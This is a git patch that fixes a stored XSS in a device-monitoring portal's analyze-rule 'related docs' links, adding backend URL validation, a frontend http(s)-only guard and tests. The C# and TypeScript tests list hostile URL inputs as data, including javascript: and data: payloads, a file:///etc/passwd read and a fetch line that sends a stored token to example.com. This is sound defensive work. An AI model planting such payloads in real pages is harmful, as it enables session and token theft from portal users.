From c4be6d41691c2d3dac2a60a62b8bb5d245936731 Mon Sep 17 00:00:00 2001 From: Oliver Kieselbach Date: Sat, 29 Aug 2026 17:55:50 +0200 Subject: [PATCH] fix(security): block javascript:/data: URLs in analyze-rule relatedDocs (stored XSS) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Author-controlled relatedDocs[].url was rendered verbatim as on the session detail, diagnosis and analyze-rules pages and never validated server-side, so a Tenant Admin could store a javascript: URL that executes in the portal origin for any viewer — including cross-tenant Global/MSP admins. - Web: safeHttpUrl() guard (absolute http/https only) at all four render sites; anything else renders as plain text. - Backend: ValidateRelatedDocs on Create/Update — blank URLs dropped, non-http(s) URLs rejected with 400. - Tests on both sides. Co-Authored-By: Claude Fable 5 --- .../AnalyzeRuleRelatedDocsUrlTests.cs | 92 +++++++++++++++++++ .../Functions/Rules/AnalyzeRulesFunction.cs | 12 +++ .../Services/AnalyzeRuleService.cs | 39 ++++++++ .../components/AnalyzeRuleCard.tsx | 18 ++-- .../app/diagnosis/page.tsx | 33 ++++--- .../components/AnalysisResultsSection.tsx | 28 +++--- .../lib/__tests__/safeDocUrl.test.ts | 27 ++++++ .../autopilot-monitor-web/lib/safeDocUrl.ts | 20 ++++ 8 files changed, 239 insertions(+), 30 deletions(-) create mode 100644 src/Backend/AutopilotMonitor.Functions.Tests/AnalyzeRuleRelatedDocsUrlTests.cs create mode 100644 src/Web/autopilot-monitor-web/lib/__tests__/safeDocUrl.test.ts create mode 100644 src/Web/autopilot-monitor-web/lib/safeDocUrl.ts diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/AnalyzeRuleRelatedDocsUrlTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/AnalyzeRuleRelatedDocsUrlTests.cs new file mode 100644 index 00000000..65f333de --- /dev/null +++ b/src/Backend/AutopilotMonitor.Functions.Tests/AnalyzeRuleRelatedDocsUrlTests.cs @@ -0,0 +1,92 @@ +using AutopilotMonitor.Functions.Services; +using AutopilotMonitor.Shared.DataAccess; +using AutopilotMonitor.Shared.Models; +using Microsoft.Extensions.Logging.Abstractions; +using Moq; + +namespace AutopilotMonitor.Functions.Tests; + +/// +/// Stored-XSS guard for analyze-rule relatedDocs: the author-controlled URL is rendered as +/// an anchor href for every viewer (including cross-tenant admins), so only absolute +/// http(s) URLs may persist. Create and Update both reject anything else with an +/// (400), and drop blank entries silently. +/// +public class AnalyzeRuleRelatedDocsUrlTests +{ + private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + + [Theory] + [InlineData("https://learn.microsoft.com/x", true)] + [InlineData("http://example.com/", true)] + [InlineData(" https://example.com/a?b=c#d ", true)] + [InlineData("javascript:alert(1)", false)] + [InlineData("JavaScript:fetch('https://example.com/'+localStorage.token)", false)] + [InlineData("data:text/html,", false)] + [InlineData("vbscript:msgbox(1)", false)] + [InlineData("file:///etc/passwd", false)] + [InlineData("/relative/path", false)] + [InlineData("example.com", false)] + [InlineData("", false)] + [InlineData(null, false)] + public void IsAbsoluteHttpUrl_allows_only_absolute_http_and_https(string? url, bool expected) + { + Assert.Equal(expected, AnalyzeRuleService.IsAbsoluteHttpUrl(url)); + } + + [Fact] + public async Task CreateRuleAsync_rejects_javascript_url_and_never_persists() + { + var repo = new Mock(MockBehavior.Strict); + repo.Setup(r => r.AnalyzeRuleExistsAsync(It.IsAny(), It.IsAny())).ReturnsAsync(false); + var service = new AnalyzeRuleService(repo.Object, NullLogger.Instance); + + var rule = MakeRule(new RelatedDoc { Title = "Microsoft Docs: fix this error", Url = "javascript:alert(1)" }); + + var ex = await Assert.ThrowsAsync(() => service.CreateRuleAsync(TenantId, rule)); + Assert.Contains("javascript:alert(1)", ex.Message); + repo.Verify(r => r.StoreAnalyzeRuleAsync(It.IsAny(), It.IsAny()), Times.Never); + } + + [Fact] + public async Task UpdateRuleAsync_rejects_data_url_for_custom_rule() + { + var repo = new Mock(MockBehavior.Strict); + var service = new AnalyzeRuleService(repo.Object, NullLogger.Instance); + + var rule = MakeRule(new RelatedDoc { Title = "Docs", Url = "data:text/html," }); + + await Assert.ThrowsAsync(() => service.UpdateRuleAsync(TenantId, rule)); + repo.Verify(r => r.StoreAnalyzeRuleAsync(It.IsAny(), It.IsAny()), Times.Never); + } + + [Fact] + public async Task CreateRuleAsync_keeps_https_docs_and_drops_blank_entries() + { + AnalyzeRule? stored = null; + var repo = new Mock(MockBehavior.Strict); + repo.Setup(r => r.AnalyzeRuleExistsAsync(It.IsAny(), It.IsAny())).ReturnsAsync(false); + repo.Setup(r => r.StoreAnalyzeRuleAsync(It.IsAny(), TenantId)) + .Callback((r, _) => stored = r) + .ReturnsAsync(true); + var service = new AnalyzeRuleService(repo.Object, NullLogger.Instance); + + var rule = MakeRule( + new RelatedDoc { Title = "Good", Url = "https://learn.microsoft.com/x" }, + new RelatedDoc { Title = "", Url = "" }, // editor "+ Add Link" default, untouched + new RelatedDoc { Title = "Blank", Url = " " }); + + Assert.True(await service.CreateRuleAsync(TenantId, rule)); + Assert.NotNull(stored); + var doc = Assert.Single(stored!.RelatedDocs); + Assert.Equal("https://learn.microsoft.com/x", doc.Url); + } + + private static AnalyzeRule MakeRule(params RelatedDoc[] docs) => new() + { + RuleId = "TENANT-DOCS-URL-001", + IsBuiltIn = false, + IsCommunity = false, + RelatedDocs = docs.ToList(), + }; +} diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Rules/AnalyzeRulesFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Rules/AnalyzeRulesFunction.cs index 60905672..9e8909f7 100644 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Rules/AnalyzeRulesFunction.cs +++ b/src/Backend/AutopilotMonitor.Functions/Functions/Rules/AnalyzeRulesFunction.cs @@ -78,6 +78,12 @@ namespace AutopilotMonitor.Functions.Functions.Rules await conflict.WriteAsJsonAsync(new { success = false, message = ex.Message }); return conflict; } + catch (ArgumentException ex) + { + var badReq = req.CreateResponse(HttpStatusCode.BadRequest); + await badReq.WriteAsJsonAsync(new { success = false, message = ex.Message }); + return badReq; + } } [Function("UpdateAnalyzeRule")] @@ -121,6 +127,12 @@ namespace AutopilotMonitor.Functions.Functions.Rules await conflict.WriteAsJsonAsync(new { success = false, message = ex.Message }); return conflict; } + catch (ArgumentException ex) + { + var badReq = req.CreateResponse(HttpStatusCode.BadRequest); + await badReq.WriteAsJsonAsync(new { success = false, message = ex.Message }); + return badReq; + } } [Function("CreateAnalyzeRuleFromTemplate")] diff --git a/src/Backend/AutopilotMonitor.Functions/Services/AnalyzeRuleService.cs b/src/Backend/AutopilotMonitor.Functions/Services/AnalyzeRuleService.cs index 326d8a5c..6e616a28 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/AnalyzeRuleService.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/AnalyzeRuleService.cs @@ -274,6 +274,7 @@ namespace AutopilotMonitor.Functions.Services } ValidateEvaluateOn(rule); + ValidateRelatedDocs(rule); rule.IsBuiltIn = false; rule.IsCommunity = false; @@ -311,6 +312,7 @@ namespace AutopilotMonitor.Functions.Services } ValidateEvaluateOn(rule); + ValidateRelatedDocs(rule); // Custom rules are fully tenant-owned: fold a notify override into the row default // (there is no separate RuleState for them) — mirrors how the UI edits Enabled. @@ -656,6 +658,43 @@ namespace AutopilotMonitor.Functions.Services } } + /// + /// Related-doc URLs are author-controlled (Tenant Admin) and rendered as anchor hrefs + /// for every viewer of a fired rule, including cross-tenant Global/MSP admins. Only + /// absolute http(s) URLs may persist — a stored javascript:/data: URL would be a durable + /// stored XSS in the portal origin. Entries with an empty URL (the editor's "+ Add Link" + /// default) are dropped rather than rejected. Throws + /// (mapped to 400 by the function) so the author sees the offending entry. + /// + internal static void ValidateRelatedDocs(AnalyzeRule rule) + { + if (rule.RelatedDocs is not { Count: > 0 }) + return; + + rule.RelatedDocs = rule.RelatedDocs + .Where(d => d != null && !string.IsNullOrWhiteSpace(d.Url)) + .ToList(); + + var invalid = rule.RelatedDocs + .Where(d => !IsAbsoluteHttpUrl(d.Url)) + .Select(d => d.Url.Trim()) + .ToList(); + if (invalid.Count > 0) + { + throw new ArgumentException( + $"Invalid relatedDocs URL(s): {string.Join(", ", invalid)}. " + + "Only absolute http:// or https:// URLs are allowed."); + } + } + + internal static bool IsAbsoluteHttpUrl(string? url) + { + if (string.IsNullOrWhiteSpace(url)) + return false; + return Uri.TryCreate(url.Trim(), UriKind.Absolute, out var uri) + && (uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps); + } + /// /// True when two analyze rule definitions are the same content (ignoring provenance / tenant /// state / timestamps) — the seed's "did the definition change?" test. Also used by the diff --git a/src/Web/autopilot-monitor-web/app/analyze-rules/components/AnalyzeRuleCard.tsx b/src/Web/autopilot-monitor-web/app/analyze-rules/components/AnalyzeRuleCard.tsx index 074b6f54..98af713d 100644 --- a/src/Web/autopilot-monitor-web/app/analyze-rules/components/AnalyzeRuleCard.tsx +++ b/src/Web/autopilot-monitor-web/app/analyze-rules/components/AnalyzeRuleCard.tsx @@ -6,6 +6,7 @@ import { FormJsonToggle, JsonModeToggleButtons, ReadOnlyJsonView } from "@/compo import AnalyzeRuleFormFields from "./AnalyzeRuleFormFields"; import { stripInternalFields } from "@/lib/rulePageHelpers"; import { formatInlineMarkdown } from "@/lib/formatInlineMarkdown"; +import { safeHttpUrl } from "@/lib/safeDocUrl"; /** One day of rule telemetry (rule-stats `trend`; sparse — days without activity have no entry). */ export interface RuleTrendPoint { @@ -445,12 +446,17 @@ export default function AnalyzeRuleCard({

Related Documentation

- {rule.relatedDocs.map((doc, idx) => ( - - - {doc.title} - - ))} + {rule.relatedDocs.map((doc, idx) => { + const href = safeHttpUrl(doc.url); + return href ? ( + + + {doc.title} + + ) : ( + {doc.title} + ); + })}
)} diff --git a/src/Web/autopilot-monitor-web/app/diagnosis/page.tsx b/src/Web/autopilot-monitor-web/app/diagnosis/page.tsx index 59e765b5..c74e545c 100644 --- a/src/Web/autopilot-monitor-web/app/diagnosis/page.tsx +++ b/src/Web/autopilot-monitor-web/app/diagnosis/page.tsx @@ -16,6 +16,7 @@ import { ConfidenceBadge, SeverityBadge } from "./components/DiagnosisBadges"; import { Session, EnrollmentEvent, RuleResult } from "@/types"; import { useAdminMode } from "@/hooks/useAdminMode"; import { isGuid } from "@/utils/inputValidation"; +import { safeHttpUrl } from "@/lib/safeDocUrl"; export default function DiagnosisPage() { // useSearchParams() in DiagnosisContent requires a Suspense boundary for static prerender. @@ -286,6 +287,7 @@ function DiagnosisContent() { const primaryResult = analysisResults[0] || null; const otherResults = analysisResults.slice(1); + const primaryDocUrl = safeHttpUrl(primaryResult?.relatedDocs?.[0]?.url); const statusLabel = session?.status === "Failed" @@ -529,9 +531,9 @@ function DiagnosisContent() { {/* Action Buttons */}
- {primaryResult.relatedDocs?.length > 0 && ( + {primaryDocUrl && ( 0 && (
- {result.relatedDocs.map((doc, i) => ( - - {doc.title} - - ))} + {result.relatedDocs.map((doc, i) => { + const href = safeHttpUrl(doc.url); + return href ? ( + + {doc.title} + + ) : ( + {doc.title} + ); + })}
)}
diff --git a/src/Web/autopilot-monitor-web/app/sessions/components/AnalysisResultsSection.tsx b/src/Web/autopilot-monitor-web/app/sessions/components/AnalysisResultsSection.tsx index 14903b74..0c04a7cb 100644 --- a/src/Web/autopilot-monitor-web/app/sessions/components/AnalysisResultsSection.tsx +++ b/src/Web/autopilot-monitor-web/app/sessions/components/AnalysisResultsSection.tsx @@ -12,6 +12,7 @@ import { dashboardUrl } from "@/lib/routes"; import { recentWindowStartIso, sumRecentFires } from "@/lib/ruleRecentFires"; import { useAuth } from "@/contexts/AuthContext"; import { useTenant } from "@/contexts/TenantContext"; +import { safeHttpUrl } from "@/lib/safeDocUrl"; interface AnalysisResultsSectionProps { analysisResults: RuleResult[]; @@ -385,17 +386,22 @@ function AnalysisResultCard({

Related Documentation

- {result.relatedDocs.map((doc, i) => ( - - {doc.title} - - ))} + {result.relatedDocs.map((doc, i) => { + const href = safeHttpUrl(doc.url); + return href ? ( + + {doc.title} + + ) : ( + {doc.title} + ); + })}
)} diff --git a/src/Web/autopilot-monitor-web/lib/__tests__/safeDocUrl.test.ts b/src/Web/autopilot-monitor-web/lib/__tests__/safeDocUrl.test.ts new file mode 100644 index 00000000..fb3b1647 --- /dev/null +++ b/src/Web/autopilot-monitor-web/lib/__tests__/safeDocUrl.test.ts @@ -0,0 +1,27 @@ +import { describe, it, expect } from "vitest"; +import { safeHttpUrl } from "../safeDocUrl"; + +describe("safeHttpUrl", () => { + it("passes absolute http(s) URLs through", () => { + expect(safeHttpUrl("https://learn.microsoft.com/x")).toBe("https://learn.microsoft.com/x"); + expect(safeHttpUrl("http://example.com/")).toBe("http://example.com/"); + expect(safeHttpUrl(" https://example.com/a?b=c#d ")).toBe("https://example.com/a?b=c#d"); + }); + + it("rejects script-bearing and non-http schemes", () => { + expect(safeHttpUrl("javascript:alert(1)")).toBeNull(); + expect(safeHttpUrl("JavaScript:alert(1)")).toBeNull(); + expect(safeHttpUrl(" \tjavascript:alert(1)")).toBeNull(); + expect(safeHttpUrl("data:text/html,")).toBeNull(); + expect(safeHttpUrl("vbscript:msgbox(1)")).toBeNull(); + expect(safeHttpUrl("file:///etc/passwd")).toBeNull(); + }); + + it("rejects relative, empty and non-string values", () => { + expect(safeHttpUrl("/relative/path")).toBeNull(); + expect(safeHttpUrl("example.com")).toBeNull(); + expect(safeHttpUrl("")).toBeNull(); + expect(safeHttpUrl(null)).toBeNull(); + expect(safeHttpUrl(undefined)).toBeNull(); + }); +}); diff --git a/src/Web/autopilot-monitor-web/lib/safeDocUrl.ts b/src/Web/autopilot-monitor-web/lib/safeDocUrl.ts new file mode 100644 index 00000000..1810bf45 --- /dev/null +++ b/src/Web/autopilot-monitor-web/lib/safeDocUrl.ts @@ -0,0 +1,20 @@ +/** + * Returns the URL when it parses as an absolute http(s) URL, otherwise null. + * + * Rule relatedDocs URLs are author-controlled (Tenant Admin) and rendered as + * anchor hrefs for every viewer, including cross-tenant admins. React does not + * sanitize href, so a stored `javascript:` / `data:` URL would execute in the + * portal origin on click. Every render site must go through this guard and + * fall back to plain text for anything that is not http(s). + */ +export function safeHttpUrl(url: string | null | undefined): string | null { + if (typeof url !== "string") return null; + const trimmed = url.trim(); + if (!trimmed) return null; + try { + const parsed = new URL(trimmed); + return parsed.protocol === "http:" || parsed.protocol === "https:" ? trimmed : null; + } catch { + return null; + } +}